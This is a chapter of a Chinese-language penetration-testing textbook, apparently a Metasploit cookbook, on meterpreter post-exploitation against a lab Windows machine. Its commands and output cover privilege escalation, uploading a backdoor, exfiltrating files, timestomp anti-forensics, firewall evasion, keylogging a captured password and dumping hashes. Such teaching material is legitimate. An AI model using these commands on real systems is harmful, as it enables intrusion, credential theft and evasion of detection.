第5章 使用meterpreter探索已攻陷目标

本章讲解下述内容:

● 分析meterpreter系统命令;

● 权限提升和进程迁移;

● 与目标建立多重通信通道;

● meterpreter文件系统命令;

● 使用timestomp更改文件属性;

● 使用meterpreter网络命令;

● getdesktop与 keystroke窃听;

● 使用 scraper meterpreter脚本。

5.1 引言

到目前为止,本书内容主要关注的“前渗透”阶段,包括尝试各种不同的技术和漏洞利用代码攻陷目标机器。本章将关注的是“后渗透”阶段—在成功实现对目标机器的攻击渗透后还可以做些什么?Metasploit提供了一种功能非常强大的后渗透工具meterpreter,该工具具有多重功能,使探索目标机器任务的实现变得更加容易。在前面讲述防病毒软件规避的章节中,已经涉及了 meterpreter 的使用和后渗透阶段的相关内容,本章将详细介绍meterpreter,以及怎样在后渗透阶段中使用。

我们之前讲过利用攻击载荷获取特定结果,但这种方法存在一个很大缺陷,运行攻击载荷时必须在目标机器上创建新进程,否则防病毒软件将产生告警信息,从而暴露攻击行为。此外,攻击载荷在功能上也受限制,仅执行某些特定任务或在shell中可以运行的特定命令。要克服这些不足,需要用到meterpreter。

meterpreter是Metasploit中的命令解释器,可以充当攻击载荷,并使用内存DLL注入技术和原始的共享对象格式。meterpreter 解释器在被攻击进程的上下文中工作,从而不需要创建任何新进程,因而也更隐蔽和更强大。

下面看一下meterpreter的工作机理,下图展示的是加载meterpreter的简单步骤。

figure_0119_0020

首先,漏洞利用代码和第一阶段攻击载荷被发送到目标机器,执行后,与目标进行绑定,并尝试反向回连到攻击方msfconole,建立起攻击方和目标机器之间的通信信道。然后 stager加载 DLL,msfconsole发送第二阶段 DLL注入载荷,成功注入后,MSF发送meterpreter DLL以建立正确的通信通道。最后,meterpreter加载 stdapi 和 priv等扩展。所有这些扩展的加载都是使用TLV协议在TLS/1.0上进行的。Meterpreter使用加密信道与目标用户进行通信是其另一大优势。下面快速总结一下meterpreter 相对于特定攻击载荷的优势。

● 在被攻击进程上下文内工作,不需要创建新进程。

● 易于在多进程之间迁移。

● 完全驻留在内存中,不需要对磁盘进行任何写入操作。

● 使用加密通信。

● 使用信道化的通信系统,可以同时与几个信道通信。

● 提供了一个可以快速简便编写扩展的平台。

本章的主要内容为介绍使用 meterpreter 中的各种命令和脚本探索目标机器。首先对常用的meterpreter命令进行分析,然后介绍建立不同的通信信道、网络命令的使用、keyboard 监听等内容,最后讨论 scraper meterpreter 脚本,该脚本可以创建包含目标用户各种信息的单独目录。本章主要关注有助于对已攻陷目标机器进行探索的命令和脚本。

下面首先对meterpreter进行深入介绍。

5.2 分析meterpreter系统命令

首先使用meterpreter命令了解其功能。由于meterpreter是后渗透阶段工具,因此需要一台已攻陷的目标机器来执行命令,这里我们使用已经利用浏览器漏洞攻陷的 Windows 7机器作为目标,读者可以通过阅读第4.3节中的部分内容了解详细信息。

准备

使用攻击载荷windows/meterpreter/bind_tcp攻陷Windows 7目标机器,启动meterpreter会话。在该会话中输入?命令,可看到有哪些可用的meterpreter命令及其简短描述。

meterpreter > ?

快速浏览整个命令列表,其中的很多命令含义很简单。

怎样实现

下面是一些有用的系统命令。

● background:该命令用于将当前会话设置为背景,以便在需要时使用。适合在存在多个meterpreter会话时使用。

● getuid:该命令用于返回目标机器上已攻陷的或正在运行的用户名。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

● getpid:该命令用于返回当前运行meterpreter的进程 ID 。

meterpreter > getpid

Current pid: 4124

● ps:该命令用于列出目标机器上当前运行的所有进程。该命令有助于识别目标中运行的各种软件和服务。

meterpreter > ps

PID Name Arch Session User

--- ---- ------- ----

0 [System Process]

1072 svchost.exe

1172 rundll32.exe x86 1 DARKLORD-PC\DARKLORD

● sysinfo:该命令用于快速确认系统信息,例如操作系统和体系结构。

meterpreter > sysinfo

Computer : DARKLORD-PC

OS : Windows 7 (Build 7264).

Architecture : x86

System Language: en_US

Meterpreter : x86/win32

● shell:该命令用于产生 shell提示符,在前面的示例中已经涉及过这一命令的使用。

met erpreter > shel 1

Process 4208 created.

Channel 1 created.

Microsoft Windows [Version 6.1. 7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

● exit:该命令用于终止meterpreter会话,或用于终止 shell会话并返回meterpreter。

可以使用上面列出的这些命令探索已攻陷目标机器以获取更多信息。实际上还有更多其他命令,留给作者探索和实践。这些 meterpreter 命令使探索目标机器变得非常容易。后面会涉及到一些高级的meterpreter命令。

怎样工作

Meterpreter 的工作方式与其他命令解释器类似,可以理解并通过命令传入的参数值对其进行响应。Meterpreter 存在于已攻击的渗透进程中,并与渗透测试方机器建立客户端/服务器通信系统。

figure_0122_0021

上图展示了meterpreter的工作原理。建立通信信道,向meterpreter服务器发送命令调用,并等待其对攻击方机器的响应。随着本章内容的推进,读者会对渗透测试方机器和被攻陷目标机器之间的通信有更深入的理解。

5.3 权限提升和进程迁移

本节将介绍 meterpreter 中两个非常有用的命令,一个是权限提升,一个是进程迁移。权限提升命令用于提升攻击者在目标机器中的权限,因为有时候是以权限较低的用户身份攻陷目标系统的,所以需要提升到管理员权限以便在其上正常执行相应任务。进程迁移命令用于从一个进程迁移到另一个进程,而不需要对磁盘进行任何写入操作。

怎样实现

为实现权限提升,可利用meterpreter中的getsystem命令。该命令自动寻找各种可能的适用技术,以便将用户权限提升到更高级别。下面分析getsystem命令使用的不同技术。

meterpreter > getsystem –h

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

  -t <opt> The technique to use. (Default to '0').

  0 : All techniques available

  1 : Service - Named Pipe Impersonation (In Memory/Admin)

 2: Service - Named Pipe Impersonation (Dropper/Admin)

 3: Service - Token Duplication (In Memory/Admin)

  4 : Exploit - KiTrap0D (In Memory/User)

怎样工作

Getsystem命令使用3种不同技术实现权限提升。默认值0会尝试所有列出的技术直至成功。下面简要介绍这些技术。

命名管道 是本地或远程应用程序在进程内进行通信的机制,创建管道的应用程序充当管道服务器,与其进行连接的应用程序充当客户端。扮演是指某个线程使用不同于其所在进程的身份去执行操作的能力,这种能力可以使得服务器线程代表客户端执行,但其执行局限在客户端的安全上下文之内。此时如果客户端的权限比服务器高,就会出现问题,导致权限提升攻击场景,称为命名管道扮演提升攻击。

关于命名管道扮演的详尽介绍,参见 http://hackingalert.blogspot.com/2011/12/namedpipe-impersonation-attacks.html

操作系统为其中的每个用户都提供了独一无二的令牌 ID,该 ID用于检测系统中不同用户的许可权限级别。令牌复制的工作原理是低权限用户复制高权限用户的令牌,然后低权限用户就可以采用与高权限用户相同的行为模式,并具备高权限用户的所有权限和职能。

KiTrapOD漏洞利用代码是2010年早期发布的,几乎影响到当时微软的所有操作系统。导致该漏洞的原因是,在32位x86平台上允许访问16位应用程序时,没有正确验证特定的BIOS调用,本地用户可以在进程环境块(TEB)中伪造VDM_TIB数据结构,诱发系统错误地处理包含#GP trap handler (nt!KiTrap0D)的异常情况,从而获取管理员权限,该漏洞就是著名的“Windows内核异常处理程序漏洞”。

理解了 getsystem 命令使用的各种权限提升技术之后,接下来在目标上执行 getsystem命令。首先使用getuid命令检测当前用户ID,然后尝试使用getsystem命令提升权限。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

从结果可以看到,使用getsystem命令后,原有的低权限用户被提升为系统权限用户。

接下来讨论的另一个重要的meterpreter命令是migrate,该命令用于从某个进程上下文迁移到其他进程。适用于被攻击渗透的进程可能发生崩溃的情况下,例如利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器可能挂起并被用户关闭。迁移到稳定的系统进程有助于顺利执行渗透测试任务。根据进程ID,可以迁移到任意活跃进程。使用ps命令可以识别所有活跃进程 ID,例如,如果 explorer.exe 的 ID 为 2084,则可以通过下面的命令迁移到explorer.exe。

meterpreter > migrate 2084

[*] Migrating to 2084...

[*] Migration completed successfully.

以上两条 meterpreter 命令不仅使用方便,并且简单高效,渗透测试中会频繁使用到。在下节中将讨论通信信道及怎样与目标进行有效通信。

5.4 与目标建立多重通信信道

本节重点讲述怎样与目标建立多重通道通信。本章的引言中已提到,meterpreter中客户端与服务器的通信是加密的,使用类型-长度-值(TLV)协议进行数据传输。使用TLV协议的优点是可以使用特定通道编号给数据加标签,从而允许目标机器上运行的多个程序与攻击方机器的meterpreter进行通信,便于同时建立多个通信信道。

下面分析一下怎样使用meterpreter与目标机器建立多重通信信道。

准备

Meterpreter中的 execute命令,可用于启动多重通信信道。首先运行 execute –h观察有哪些可用选项。

meterpreter > execute –h

Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:

-H Create the process hidden from view.

-a <opt> The arguments to pass to the command.

-c Channelized I/O (required for interaction).

-d <opt> The 'dummy' executable to launch when using -m.

-f <opt> The executable command to run.

-h Help menu.

-i Interact with the process after creating it.

-k Execute process on the meterpreters current desktop

-m Execute from memory.

-s <opt> Execute process in a given session as the session user

-t Execute process with currently impersonated thread token

上面列出的是execute命令中可以使用的各种参数及其作用,可以使用其中的某些参数建立多通信信道。

怎样实现

要创建通信信道,可以使用带–f参数的execute命令。

meterpreter > execute -f notepad.exe –c

Process 5708 created.

Channel 1 created.

注意上面命令中两个参数的使用,其中,–f 参数用于设置可执行命令,-c 参数用于建立信道化的I/O。接下来还可以继续运行该命令启动其他信道,而不需要终止当前信道。

meterpreter > execute -f cmd.exe –c

Process 4472 created.

Channel2created.

meterpreter > execute -f calc.exe –c

Process 6000 created.

Channel3created.

从结果可以看到现在已经在目标机器上建立了3条同时运行的通信信道,要列出可用信道,可以使用 channel –l命令。如果需要在某一个信道中发送数据或写入信息,可以使用write命令以及要写入信道的ID。下面是在某个活跃信道中写入消息的示例。

meterpreter > write 5

Enter data followed by a '.' on an empty line:

Metasploit!!

.

[*] Wrote 13 bytes to channel 5.

带信道ID执行write命令后,会出现提示要求输入数据并以句点结束,从上面结果可以看到,已成功在该信道中写入“Metasploit!!”。如果要读取某个信道的数据,则可以使用read命令,并以该信道ID作为参数。

如果需要与某个信道进行交互,则可以使用interact命令,并以该信道ID作为参数。

meterpreter > interact 2

Interacting with channel 2...

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\DARKLORD\Desktop>

从结果可以看到,信道2是一个命令行提示符信道,使用interact命令可直接进入该命令行提示符模式,并在其中执行系统命令。利用interact命令,可以轻松地在信道之间进行切换。要终止某个信道,可以使用close命令,并以该信道ID作为参数。

上面介绍的内容展示了使用多信道的好处,以及其有助于对信道进行并发管理和不同信道之间的切换。当需要在目标机器上运行多个服务时,信道的使用是很重要的。

下一节将关注如何使用meterpreter探索目标机器的文件系统。

怎样工作

Metasploit 使用单独的信道 ID 为每条消息加标签,这有助于识别特定命令应该在哪个隧道的上下文中执行。Meterpreter中的通信遵循TLV协议,有助于使用特定信道ID为不同消息加标签,并提供了多信道通信支持。

5.5 meterpreter文件系统命令

本节将介绍文件系统命令,这些命令有助于探索文件系统并执行各种任务,例如文件搜索、文件下载及目录切换等。这些命令让使用meterpreter控制目标机器变得非常容易。

怎样实现

首先介绍pwd命令,该命令用于列出当前处于目标机器的哪个目录。类似地,cd命令可以从当前目录切换到目标目录。

meterpreter > pwd

C:\Users\DARKLORD\Desktop

meterpreter > cd c:\

meterpreter > pwd

c:\

从结果可以看到,首先使用pwd命令列出了当前的工作目录,然后使用cd命令从当前目录切换到c:目录,如果需要,还可以使用ls命令列出当前目录中所包含的文件。

接下来在驱动器中搜索文件。浏览每个目录和子目录搜索文件是很枯燥的,不过我们可以使用search命令快速搜索特定的文件类型,如下面的示例所示。

meterpreter > search -f *.doc -d c:\

该命令在C 盘驱动器中搜索所有以.doc作为扩展名的文件,其中-f用于指定要搜索的文件模式,-d参数用于指定在哪个目录下进行搜索。

搜索到特定文件后,在目标机器上本地下载该文件,首先尝试将该文件下载到攻击方所在系统。

meterpreter > download d:\secret.doc /root

[*] downloading: d:secret.doc -> /root/d:secret.doc

[*] downloaded : d:secret.doc -> /root/d:secret.doc

通过使用download命令,将目标机器上任意文件下载到攻击方机器。从结果可以看到,已经将d:\secret.doc文件下载到攻击方机器的root文件夹。

类似地,可以使用upload命令将任意文件上传到目标机器。

meterpreter > upload /root/backdoor.exe d:\

[*] uploading : /root/backdoor.exe -> d:\

[*] uploaded : /root/backdoor.exe -> d:\\backdoor.exe

最后,还可以使用del命令从目标机器中删除文件或目录。

meterpreter > del d:\backdoor.exe

怎样工作

通过建立交互式的命令提示符,meterpreter赋予用户对目标机器的完全访问权限。用户也可以不使用shell会话,而使用默认的Windows系统DOS模式,但DOS不具备那么多的功能。上述内容只是简要展示了 meterpreter 中的一些重要系统命令,对探索目标机器中的文件很有帮助。实际上meterpreter还包含很多其他命令,建议用户多尝试。

在下节中将介绍timestomp命令,这也是一条非常重要的meterpreter命令,可用于修改目标机器中的文件属性。

5.6 使用timestomp更改文件属性

在上节中,我们介绍了一些重要而有用的 meterpreter 文件系统命令,可用于在目标机器上执行各种任务。Meterpreter中还包含另一条重要的timestomp命令,该命令用于更改文件的更改-访问-创建-入口(MACE)属性。属性值是该文件发生MACE操作时的日期和时间,使用timestomp命令可以更改这些值。

准备

为什么要修改文件的 MACE 值?因为黑客通常都会使用相应技术修改文件的 MACE值,以便让目标用户感觉文件一直在系统中,而没有被接触或更改。发现系统中存在可疑活动时,管理员会检查近期更改的文件,以便发现有哪些文件被更改或访问过。因此,修改MACE值后,文件就不会出现在近期访问或更改的项目中。即便有其他技术可用来发现MACE值修改行为,但使用timestomp命令仍然是很方便的。

从目标机器中选取一个文件并修改其 MACE 属性,下图是对某个文件使用 timestomp命令之前的各种MACE值。

figure_0129_0022

接下来更改该文件的各种MACE值。首先使用 timestomp –h命令观察有哪些可用的选项,再使用-v参数列出该文件的MACE属性值。

meterpreter > timestomp d:\secret.doc –v

Modified : 2011-12-12 16:37:48 +0530

Accessed : 2011-12-12 16:37:48 +0530

Created : 2011-12-12 16:37:47 +0530

Entry Modified: 2011-12-12 16:47:56 +0530

怎样实现

首先修改该文件的创建时间,注意timestomp命令中传递的不同参数。

meterpreter > timestomp d:\secret.doc -c "3/13/2013 13:13:13"

[*] Setting specific MACE attributes on d:secret.doc

怎样工作

-c 操作符用于更改文件的创建时间,类似地,可以使用-m、-a 参数分别更改文件的修改时间和最后一次访问时间等属性。

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23"

[*] Setting specific MACE attributes on d:secret.doc

meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33"

[*] Setting specific MACE attributes on d:secret.doc

属性值修改后,可以使用–v参数检查和确认命令是否成功执行。再次检查文件属性。

meterpreter > timestomp d:\secret.doc –v

Modified : 2013-03-13 13:13:13 +0530

Accessed : 2013-03-13 13:13:23 +0530

Created : 2013-03-13 13:13:33 +0530

Entry Modified: 2013-03-13 13:13:13 +0530

从结果可以看到已经成功更改文件的MACE属性,该文件已经不会在近期更改或访问文件列表中出现。

另一种方法是,使用–z参数一次性修改文件的所有4个MACE值,而不再需要分别修改。但是问题是–z参数为所有4个MACE属性赋相同的值,而实际上这是不可能的,创建时间和访问时间肯定是有差别的,因此,应该避免使用–z参数。

本节中简要介绍了timestomp命令,在下节中将介绍一些有用的meterpreter命令,这些命令有助于理解拓展。

5.7 使用meterpreter网络命令

meterpreter还包括一些有用的网络命令,这些命令有助于理解目标用户的网络结构,可用于分析目标机器是属于某个LAN还是单独的系统,也可以了解IP地址段、DNS和其他相关信息,在执行拓展时,这些信息非常有用。拓展是指对已攻陷目标机器所在相同网络上的其他机器进行攻击,在下章介绍meterpreter高级用法时会涉及其更多内容。

准备

首先介绍3个网络术语。

子网是将大型网络划分为一些较小组成部分,子网的划分可以提高地址利用率和安全性。

掩码是一个32位的0、1序列,用于将IP地址划分为子网并指定其中可用主机。

网关指定了前跳或下一跳IP地址,通过网关才能到达子网内IP地址。

在使用route命令时,会涉及这3个术语。

怎样实现

Meterpreter包含3条网络命令:ipconfig、route和portfwd,下面快速了解一下。

Ipconfig命令用于展示目标机器中所有TCP/IP网络配置情况,可列出目标IP地址、硬件MAC地址和网络掩码等信息。

meterpreter > ipconfig

Reliance

Hardware MAC: 00:00:00:00:00:00

IP Address : 115.242.228.85

Netmask : 255.255.255.255

Software Loopback Interface 1

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

从结果可以看到,ipconfig命令的输出包含了各种活跃的TCP/IP配置。

route命令与MS DOS中的 route命令类似,用于展示或修改目标机器上的本地 IP路由表,执行该命令可列出当前的路由表。

meterpreter > route

Network routes

==============

Subnet Netmask Gateway

------ ------- -------

0.0.0.0 0.0.0.0 115.242.228.85

115.242.228.85 255.255.255.255 115.242.228.85

127.0.0.0 255.0.0.0 127.0.0.1

127.0.0.1 255.255.255.255 127.0.0.1

127.255.255.255 255.255.255.255 127.0.0.1

192.168.56.0 255.255.255.0 192.168.56.1

192.168.56.1 255.255.255.255 192.168.56.1

192.168.56.255 255.255.255.255 192.168.56.1

224.0.0.0 240.0.0.0 127.0.0.1

224.0.0.0 240.0.0.0 192.168.56.1

224.0.0.0 240.0.0.0 115.242.228.85

255.255.255.255 255.255.255.255 127.0.0.1

255.255.255.255 255.255.255.255 192.168.56.1

255.255.255.255 255.255.255.255 115.242.228.85

执行 route -h命令,观察修改路由表的过程。

meterpreter > route –h

Usage: route [-h] command [args]

Supported commands:

 add [subnet] [netmask] [gateway]

  delete [subnet] [netmask] [gateway]

回顾一下前面ipconfig命令的输出,可以看到目标主机以IP地址115.242.228.85连接Internet,所以可以添加一个路由值使其以115.242.228.85为网关对外连接,这样在目标机器上实现对防火墙的绕过。

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1

Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1

类似地,可以使用delete命令从路由表中移除某个路由值。

最后一条网络命令portfwd,该命令用于将入栈的TCP或UDP连接转发到远程主机。下面的示例有助于理解该命令。

假设有3台主机A、B、C,主机B在中间。主机A需要连接到主机C完成相应任务,但由于某种原因无法实现,而主机B可以直接连接到主机C。如果将主机B放在中间,将主机A发送的连接请求传递给主机B,此时主机B就实现了端口转发功能。

此时网络缆线上的情况是:主机B运行某个软件,打开了该主机上某个TCP监听端口,例如20端口,主机C上也运行一个监听软件,用于收到20端口的数据包时连接主机B,因此,主机A发送数据包到主机B 的20端口时,会被自动转发到主机C,此时主机B的作用就是将数据包通过端口转发传递到主机C。

怎样工作

要实现端口转发,首先需要增加一条转发规则,参考下面的命令行示例。

Meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389

注意其中各命令行参数,–a参数用于添加新的端口转发规则,-L参数用于定义绑定转发数据包的IP地址。由于这些都在主机A上运行,并需要在同一主机上完成,所以这里将IP地址设置为127.0.0.1。

-l参数用于指定主机A上的开放端口号,开放该端口的目的是接受入栈连接。-h参数定义了主机C的IP地址,或内部网络其他主机的地址,-p参数指定的是主机C上需要连接的目的端口。

上面的内容是对端口转发过程的简单介绍,这一技术经常被用于规避防火墙和入侵检测系统。

5.8 getdesktop与keystroke监听

本节将介绍一些与桌面与键盘窃听相关的stdapi用户接口命令。键盘截获依赖于当前的活跃桌面,因此,必须要理解怎样在不同桌面活跃会话中的进程之间进行切换,以便对不同的击键记录进行窃听。

怎样实现

首先执行几条本节中将介绍的用户接口命令,如下所示。

● enumdesktops:该命令用于列出所有可访问桌面站和窗口站。

meterpreter > enumdesktops

Enumerating all accessible desktops

Desktops

========

Session Station Name

------- ------- ----

0 WinSta0 Default

0 WinSta0 Disconnect

0 WinSta0 Winlogon

0 SAWinSta SADesktop

从结果可以看到,所有可用的桌面都是与会话 0 相关联的,会话 0 代的含义将在下面的内容中进行介绍。

● getdesktop:该命令用于返回meterpreter会话当前工作桌面。

meterpreter > getdesktop

Session 0\Service-0x0-3e7$\Default

可以将getdesktop命令和enumdesktops命令的输出结合起来,以便对当前工作所在桌面站有更好的理解。

● setdesktop:该命令用于将当前的meterpreter桌面更改到另一个可用的桌面站。

● keyscan_start:该命令用于在当前活跃的桌面站内启动键盘窃听器。

● keyscan_dump:该命令用于导出活跃meterpreter桌面会话的键盘记录。

下面分析一下这些命令怎样在实际中运用,以及怎样通过不同的桌面站进行键盘窃听。

怎样工作

首先介绍Windows桌面的一个重要概念。

Windows桌面划分为不同的会话(session),以便于定义与Windows机器的交互方式。会话0表示的是控制台,其他的会话1、会话2等表示远程桌面会话。

所以,要对攻陷的系统进行键盘捕获,必须在桌面会话0中进行。

figure_0135_0023

每个Windows桌面会话由不同的站组成,从上图中可以看到与会话0相关的各站。这些站中,WinSta0是唯一的交互式站,这意味着用户只能与WinSta0站进行交互。所有其他站都是非交互式的。WinSta0包含Default、Disconnect、Winlogon等3个不同桌面。Default桌面与我们在桌面中执行的所有应用程序和任务相关联,Disconnect 桌面与屏幕保护程序锁定桌面有关,Winlogon桌面与Windows登录屏幕相关。

需要注意的是,每个桌面都有自己的键盘缓冲区,所以,如果需要对Default桌面进行键盘窃听,就必须确保当前meterpreter活跃浏览器设置为Session 0/WinSta0/Default。如果需要窃听登录口令,就必须将活跃桌面更改为Session 0/WinSta0/Winlogon。

使用getdesktop命令检测当前桌面。

meterpreter > getdesktop

Session 0\Service-0x0-3e7$\Default

从结果可以看到,当前桌面不在唯一的交互式桌面站 WinSta0 中,所以,如果在这里运行键盘捕获工具,将不会得到任何结果。下面的命令可以将当前桌面切换到WinSta0\Default。

meterpreter > setdesktop

Changed to desktop WinSta0\Default

meterpreter > getdesktop

Session 0\WinSta0\Default

上面的命令行表明,利用 setdesktop 命令,已经将当前桌面切换到交互式的 Windows桌面站中,下面可以运行键盘窃听工具捕获目标机器用户的按键操作。

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

gmail.com <Return> daklord <Tab> 123123

观察导出的键盘记录,可以清晰地判断出目标用户进入过 gmail.com 并输入过登录口令。

如果要窃听 Windows 登录口令该怎样操作?显然,可以使用 setdesktop 命令将活跃桌面切换为WinSta0\Winlogon,不过这里讨论另一种替代方法,即迁移到Windows登录时运行的进程,执行ps命令检测当前运行进程。

从结果可以看到,winlogon.exe以进程身份运行,并带有一个进程ID。假设winlogon.exe的进程ID(PID)是1180,迁移到该PID并再次检测当前活跃会话。

meterpreter > migrate 1180

[*] Migrating to 1180...

[*] Migration completed successfully.

meterpreter > getdesktop

Session 0\WinSta0\Winlogon

从结果可以看到,活跃桌面已经切换为WinSta0\Winlogon,现在可以运行keyscan_start命令对Windows登录屏幕进行键盘截获。

类似地,也可以通过迁移到默认桌面中运行的任意进程返回到Default桌面,例如PID为884的explorer.exe。

[*] Migrating to 884...

[*] Migration completed successfully.

meterpreter > getdesktop

Session 0\WinSta0\Default

上面的内容展示了迁移到不同进程和桌面环境进行键盘窃听的重要性。通常,不查看当前活跃桌面而直接运行keyscan不会得到任何结果,这是因为攻击渗透的进程可能属于不同的会话或站,所以,进行键盘捕获时不能忽略这个问题。

5.9 使用 scraper meterpreter脚本

本节将介绍一个重要的 meterpreter 脚本,该脚本有助于对目标机器进行更深的探索。由于下一章中将详细地介绍 meterpreter 脚本,所以这里只是介绍脚本的使用。渗透测试过程中,需要花费大量时间对目标机器中的信息进行挖掘,因而对有用信息进行本地备份可给测试者带来很多便利,这样即便目标机器关机,其信息也已经保存下来,并且还能与其他测试者进行信息共享。使用Scraper脚本可以完成这些任务。

准备

scraper脚本用于挖掘已攻陷目标机器的大量信息,例如注册表信息、口令hash值、网络信息等,并可以将这些信息保存在测试者机器上。

要使用meterpreter在目标机器上执行Ruby脚本,可以使用 run命令。执行 run scraper -h命令可列出可以传递给脚本的各种可用参数,下面分析怎样将信息下载到本地。

怎样实现

一经执行后,该脚本会自动执行其所有功能,并在/root/.msf4/logs/scripts/scraper 中创建目录存储文件。脚本执行时可能会出现错误,这是因为某条命令在机器上执行时失败(下面的命令行输出有删减)。

meterpreter > run scraper

[*] New session on 192.168.56.1:4232...

[*] Gathering basic system information...

[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_

passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)

该脚本自动下载并在目标文件夹中保存了相关信息。接下来分析该脚本源代码,以便根据需要对其进行修改。

怎样工作

scraper.rb脚本的源代码在/pentest/exploits/framework3/scripts/meterpreter目录下。

如果具备Ruby语言编程经验,可以编辑该脚本并添加自己的功能。例如,可以修改下面的代码行,以便更改下载位置。

logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper',

host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",ra nd(100000)) )

如果需要获取可用进程列表结果,则可以在程序主体部分添加如下代码行。

::File.open(File.join(logs, "process.txt"), "w") do |fd| fd.puts(m_exec(client, "tasklist"))

end

从结果可以看到,通过Ruby语言编程和代码重用,可以根据需要很容易地对该脚本代码进行修改。

更多

还有另外一个meterpreter脚本可以用于收集目标机器信息。

使用winenum.rb

winenum.rb是另一个可收集目标机器信息并下载到本地保存的meterpreter脚本,读者可以对该脚本进行尝试,观察该脚本提供了哪些额外信息。该脚本存储在/pentest/exploits/framework3/scripts/meterpreter/winenum.rb。